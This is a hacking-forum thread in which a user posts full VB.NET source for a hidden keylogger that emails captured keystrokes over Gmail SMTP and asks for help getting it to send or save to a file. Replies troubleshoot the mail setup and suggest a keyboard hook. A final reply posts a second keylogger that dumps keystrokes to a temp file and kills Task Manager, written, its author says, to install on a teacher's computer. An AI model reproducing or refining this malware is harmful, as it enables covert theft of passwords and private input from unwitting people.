Jump to content

Recommended Posts

Posted

hello hak5 forum,

i came to this forum as i recently found out about the ducky usb. but to the point.

i need help with this key logger (ill put the code at the bottom).

the problems are that the email doesn't send. yes i have check firewall and forwarded all the ports for gmail that they list on googles website.

but i don't mind to much to much that it doesn't send... how to i make the contents of the text box save to a text file so that i can just physically get it.

thanks for any help.

Imports System.Net.Mail 'Mail Class
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
Timer2.Start()
Timer3.Start()
End Sub
Public Function GetCapslock() As Boolean
' Return Or Set the Capslock toggle.
GetCapslock = CBool(GetKeyState(&H14) And 1)
End Function
Public Function GetShift() As Boolean
' Return Or Set the Capslock toggle.
GetShift = CBool(GetAsyncKeyState(&H10))
End Function
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i As Integer = 1 To 225
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
If GetCapslock() = True And GetShift() = True Then
Select Case (i)
Case 192
TextBox1.Text = TextBox1.Text + "~"
Case 1
'TextBox1.Text = TextBox1.Text + "
"
Case 64 To 90
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 97 To 122
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 32
TextBox1.Text = TextBox1.Text + " "
Case 48
TextBox1.Text = TextBox1.Text + ")"
Case 49
TextBox1.Text = TextBox1.Text + "!"
Case 50
TextBox1.Text = TextBox1.Text + "@"
Case 51
TextBox1.Text = TextBox1.Text + "#"
Case 52
TextBox1.Text = TextBox1.Text + "$"
Case 53
TextBox1.Text = TextBox1.Text + "%"
Case 54
TextBox1.Text = TextBox1.Text + "^"
Case 55
TextBox1.Text = TextBox1.Text + "&"
Case 56
TextBox1.Text = TextBox1.Text + "*"
Case 57
TextBox1.Text = TextBox1.Text + "("
Case 8
TextBox1.Text = TextBox1.Text + "[backSpace]"
Case 46
TextBox1.Text = TextBox1.Text + "[Del]"
Case 190
TextBox1.Text = TextBox1.Text + ">"
Case 16
Case 160 To 165
Case 17
TextBox1.Text = TextBox1.Text + "[Ctrl]"
Case 18
TextBox1.Text = TextBox1.Text + "[Alt]"
Case 189
TextBox1.Text = TextBox1.Text + "_"
Case 187
TextBox1.Text = TextBox1.Text + "+"
Case 219
TextBox1.Text = TextBox1.Text + "{"
Case 221
TextBox1.Text = TextBox1.Text + "}"
Case 186
TextBox1.Text = TextBox1.Text + ":"
Case 222
TextBox1.Text = TextBox1.Text + """"
Case 188
TextBox1.Text = TextBox1.Text + "<"
Case 191
TextBox1.Text = TextBox1.Text + "?"
Case 220
TextBox1.Text = TextBox1.Text + "|"
Case 13
TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
Case 20
Case 91 'windows key
Case 9
TextBox1.Text = TextBox1.Text + " [Tab]"
Case 2
TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
Case 37 To 40
Case Else
TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
End Select
End If
If GetCapslock() = True And GetShift() = False Then
Select Case (i)
Case 91 'windows key
Case 1
'TextBox1.Text = TextBox1.Text + "
"
Case 64 To 90
TextBox1.Text = TextBox1.Text + Chr(i)
Case 97 To 122
TextBox1.Text = TextBox1.Text + Chr(i)
Case 32
TextBox1.Text = TextBox1.Text + " "
Case 48 To 57
TextBox1.Text = TextBox1.Text + Chr(i)
Case 8
TextBox1.Text = TextBox1.Text + "[backSpace]"
Case 46
TextBox1.Text = TextBox1.Text + "[Del]"
Case 190
TextBox1.Text = TextBox1.Text + "."
Case 16
Case 160 To 165
Case 20
Case 192
TextBox1.Text = TextBox1.Text + "`"
Case 189
TextBox1.Text = TextBox1.Text + "-"
Case 187
TextBox1.Text = TextBox1.Text + "="
Case 219
TextBox1.Text = TextBox1.Text + "["
Case 221
TextBox1.Text = TextBox1.Text + "]"
Case 186
TextBox1.Text = TextBox1.Text + ";"
Case 222
TextBox1.Text = TextBox1.Text + "'"
Case 188
TextBox1.Text = TextBox1.Text + ","
Case 191
TextBox1.Text = TextBox1.Text + "/"
Case 220
TextBox1.Text = TextBox1.Text + "\"
Case 17
TextBox1.Text = TextBox1.Text + "[Ctrl]"
Case 18
TextBox1.Text = TextBox1.Text + "[Alt]"
Case 13
TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
Case 9
TextBox1.Text = TextBox1.Text + " [Tab]"
Case 2
TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
Case 37 To 40
Case Else
TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
End Select
End If
If GetCapslock() = False And GetShift() = True Then
Select Case (i)
Case 91 'windows key
Case 192
TextBox1.Text = TextBox1.Text + "~"
Case 1
' TextBox1.Text = TextBox1.Text + "
"
Case 64 To 90
TextBox1.Text = TextBox1.Text + Chr(i)
Case 97 To 122
TextBox1.Text = TextBox1.Text + Chr(i)
Case 32
TextBox1.Text = TextBox1.Text + " "
Case 48
TextBox1.Text = TextBox1.Text + ")"
Case 49
TextBox1.Text = TextBox1.Text + "!"
Case 50
TextBox1.Text = TextBox1.Text + "@"
Case 51
TextBox1.Text = TextBox1.Text + "#"
Case 52
TextBox1.Text = TextBox1.Text + "$"
Case 53
TextBox1.Text = TextBox1.Text + "%"
Case 54
TextBox1.Text = TextBox1.Text + "^"
Case 55
TextBox1.Text = TextBox1.Text + "&"
Case 56
TextBox1.Text = TextBox1.Text + "*"
Case 57
TextBox1.Text = TextBox1.Text + "("
Case 8
TextBox1.Text = TextBox1.Text + "[backSpace]"
Case 46
TextBox1.Text = TextBox1.Text + "[Del]"
Case 190
TextBox1.Text = TextBox1.Text + ">"
Case 16
Case 160 To 165
Case 17
TextBox1.Text = TextBox1.Text + "[Ctrl]"
Case 18
TextBox1.Text = TextBox1.Text + "[Alt]"
Case 189
TextBox1.Text = TextBox1.Text + "_"
Case 187
TextBox1.Text = TextBox1.Text + "+"
Case 219
TextBox1.Text = TextBox1.Text + "{"
Case 221
TextBox1.Text = TextBox1.Text + "}"
Case 186
TextBox1.Text = TextBox1.Text + ":"
Case 222
TextBox1.Text = TextBox1.Text + """"
Case 188
TextBox1.Text = TextBox1.Text + "<"
Case 191
TextBox1.Text = TextBox1.Text + "?"
Case 220
TextBox1.Text = TextBox1.Text + "|"
Case 13
TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
Case 9
TextBox1.Text = TextBox1.Text + " [Tab]"
Case 20
Case 2
TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
Case 37 To 40
Case Else
TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
End Select
End If
If GetCapslock() = False And GetShift() = False Then
Select Case (i)
Case 1
' TextBox1.Text = TextBox1.Text + "
"
Case 64 To 90
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 97 To 122
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 32
TextBox1.Text = TextBox1.Text + " "
Case 48 To 57
TextBox1.Text = TextBox1.Text + Chr(i)
Case 8
TextBox1.Text = TextBox1.Text + "[backSpace]"
Case 46
TextBox1.Text = TextBox1.Text + "[Del]"
Case 190
TextBox1.Text = TextBox1.Text + "."
Case 16
Case 160 To 165
Case 20
Case 192
TextBox1.Text = TextBox1.Text + "`"
Case 189
TextBox1.Text = TextBox1.Text + "-"
Case 187
TextBox1.Text = TextBox1.Text + "="
Case 91 'windows key
Case 219
TextBox1.Text = TextBox1.Text + "["
Case 221
TextBox1.Text = TextBox1.Text + "]"
Case 186
TextBox1.Text = TextBox1.Text + ";"
Case 222
TextBox1.Text = TextBox1.Text + "'"
Case 188
TextBox1.Text = TextBox1.Text + ","
Case 191
TextBox1.Text = TextBox1.Text + "/"
Case 220
TextBox1.Text = TextBox1.Text + "\"
Case 17
TextBox1.Text = TextBox1.Text + "[Ctrl]"
Case 18
TextBox1.Text = TextBox1.Text + "[Alt]"
Case 13
TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
Case 9
TextBox1.Text = TextBox1.Text + " [Tab]"
Case 2
TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
Case 37 To 40
Case Else
TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
End Select
End If
End If
Next i
End Sub
Sub MainEvents()
'Fill In all Required info, if your not using gmail use smtp . your email provider ex:
'"smpt.yahoo.com" or "smpt.custom_email.edu"
Try
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("Email")
MyMailMessage.To.Add("Email")
MyMailMessage.Subject = "Test"
MyMailMessage.Body = TextBox1.Text
Dim SMPT As New SmtpClient("smtp.gmail.com")
SMPT.Port = 587
SMPT.EnableSsl = True
SMPT.Credentials = New System.Net.NetworkCredential("Email", "Email Password")
SMPT.Send(MyMailMessage)
TextBox1.Text = ""
Catch ex As Exception
End Try
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
If TextBox1.Text <> "" Then
MainEvents()
End If
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Me.Visible = False
Me.Hide()
End Sub
End Class
Posted

I know shit about VB, but GMail is a bit of a bitch when it comes to the SMTP protocol implementation.

They're correct of course, but they're the only one being correct about it.

Normally in SMTP you connect, do the HELO and then list the email recipients. The server then gives you the go-ahead to deliver the email. With Google however, you must not only list the recipients, but also the sender. It's a protocol requirement which it seems only they have implemented. I wouldn't be surprised if the standard SMTP object doesn't implement this feature, which might be why your mail doesn't go through.

  • 4 months later...
Posted

I remember tryiing to steal that off a youtube vid a while back lol. Code didn't work for me either becasue GMAIL is kinda finnikey to work with. Just switch to a diffrent mail address like mail.com

  • 4 weeks later...
Posted

Try fixing your ports as well:

Incoming: pop.gmail.com Incoming Port: 465

Outgoing: smtp.gmail.com Outgoing Port: 995

  • 2 months later...
Posted (edited)

spotted the issue in 2 secs

Change: Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer

Too: Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As integer) As short

if you care about what i have to say i rather use a lowlevelkeyboard hook for a keylogger

Edited by { Hex }
Posted

here a shitty logger i made in in 9th grade to put on my teacher computer it's shit like i said use a lowlevelKeyboard hook

Imports System.IO
Public Class Form1
Private Declare Function gmp Lib "user32" Alias "GetAsyncKeyState" (ByVal K As Integer) As Short
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Timer1.Start()
Timer2.Start()
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Dim Temp As String = My.Computer.FileSystem.SpecialDirectories.Temp
If (gmp(65)) Then
box.Text = box.Text + "a"
ElseIf (gmp(66)) Then
box.Text = box.Text + "b"
ElseIf (gmp(67)) Then
box.Text = box.Text + "c"
ElseIf (gmp(68)) Then
box.Text = box.Text + "d"
ElseIf (gmp(69)) Then
box.Text = box.Text + "e"
ElseIf (gmp(70)) Then
box.Text = box.Text + "f"
ElseIf (gmp(71)) Then
box.Text = box.Text + "g"
ElseIf (gmp(72)) Then
box.Text = box.Text + "h"
ElseIf (gmp(73)) Then
box.Text = box.Text + "i"
ElseIf (gmp(74)) Then
box.Text = box.Text + "j"
ElseIf (gmp(75)) Then
box.Text = box.Text + "k"
ElseIf (gmp(76)) Then
box.Text = box.Text + "l"
ElseIf (gmp(77)) Then
box.Text = box.Text + "m"
ElseIf (gmp(78)) Then
box.Text = box.Text + "n"
ElseIf (gmp(79)) Then
box.Text = box.Text + "o"
ElseIf (gmp(80)) Then
box.Text = box.Text + "p"
ElseIf (gmp(81)) Then
box.Text = box.Text + "q"
ElseIf (gmp(82)) Then
box.Text = box.Text + "r"
ElseIf (gmp(83)) Then
box.Text = box.Text + "s"
ElseIf (gmp(84)) Then
box.Text = box.Text + "t"
ElseIf (gmp(85)) Then
box.Text = box.Text + "u"
ElseIf (gmp(86)) Then
box.Text = box.Text + "v"
ElseIf (gmp(87)) Then
box.Text = box.Text + "w"
ElseIf (gmp(88)) Then
box.Text = box.Text + "x"
ElseIf (gmp(89)) Then
box.Text = box.Text + "y"
ElseIf (gmp(90)) Then
box.Text = box.Text + "z"
ElseIf (gmp(32)) Then
box.Text = box.Text + " "
ElseIf (gmp(16)) Then
box.Text = box.Text + " [sHIFT] "
ElseIf (gmp(20)) Then
box.Text = box.Text + " [CAPS] "
ElseIf (gmp(48)) Then
box.Text = box.Text + "0"
ElseIf (gmp(49)) Then
box.Text = box.Text + "1"
ElseIf (gmp(50)) Then
box.Text = box.Text + "2"
ElseIf (gmp(51)) Then
box.Text = box.Text + "3"
ElseIf (gmp(52)) Then
box.Text = box.Text + "4"
ElseIf (gmp(53)) Then
box.Text = box.Text + "5"
ElseIf (gmp(54)) Then
box.Text = box.Text + "6"
ElseIf (gmp(55)) Then
box.Text = box.Text + "7"
ElseIf (gmp(56)) Then
box.Text = box.Text + "8"
ElseIf (gmp(57)) Then
box.Text = box.Text + "9"
ElseIf (gmp(45)) Then
Force_Dump()
ElseIf (gmp(46)) Then
Process.Start(Temp + "\ELUAC.txt")
ElseIf (gmp(145)) Then
Dim pro() As Process = Process.GetProcessesByName("Taskmggr")
For Each pr As Process In pro
pr.Kill()
Next
End If
End Sub
Private Sub Force_Dump()
' Dim MD As String = Mid(Environment.GetFolderPath(Environment.SpecialFolder.System), 1, 3)
Dim Temp As String = My.Computer.FileSystem.SpecialDirectories.Temp
If File.Exists(Temp + "\ELUAC.txt") Then
Else
File.Create(Temp + "\EULAC.txt")
End If
Dim WR As System.IO.StreamWriter
WR = My.Computer.FileSystem.OpenTextFileWriter(Temp + "\ELUAC.txt", True)
WR.WriteLine("Force Dump @ " + System.DateTime.Now + "] " + box.Text)
WR.Close()
End Sub
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
Dim Temp As String = My.Computer.FileSystem.SpecialDirectories.Temp
If File.Exists(Temp + "\ELUAC.txt") Then
Else
File.Create(Temp + "\EULAC.txt")
End If
Dim WR As System.IO.StreamWriter
WR = My.Computer.FileSystem.OpenTextFileWriter(Temp + "\ELUAC.txt", True)
WR.WriteLine("Timed Dump @ " + System.DateTime.Now + "] " + box.Text)
WR.Close()
End Sub
End Class

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...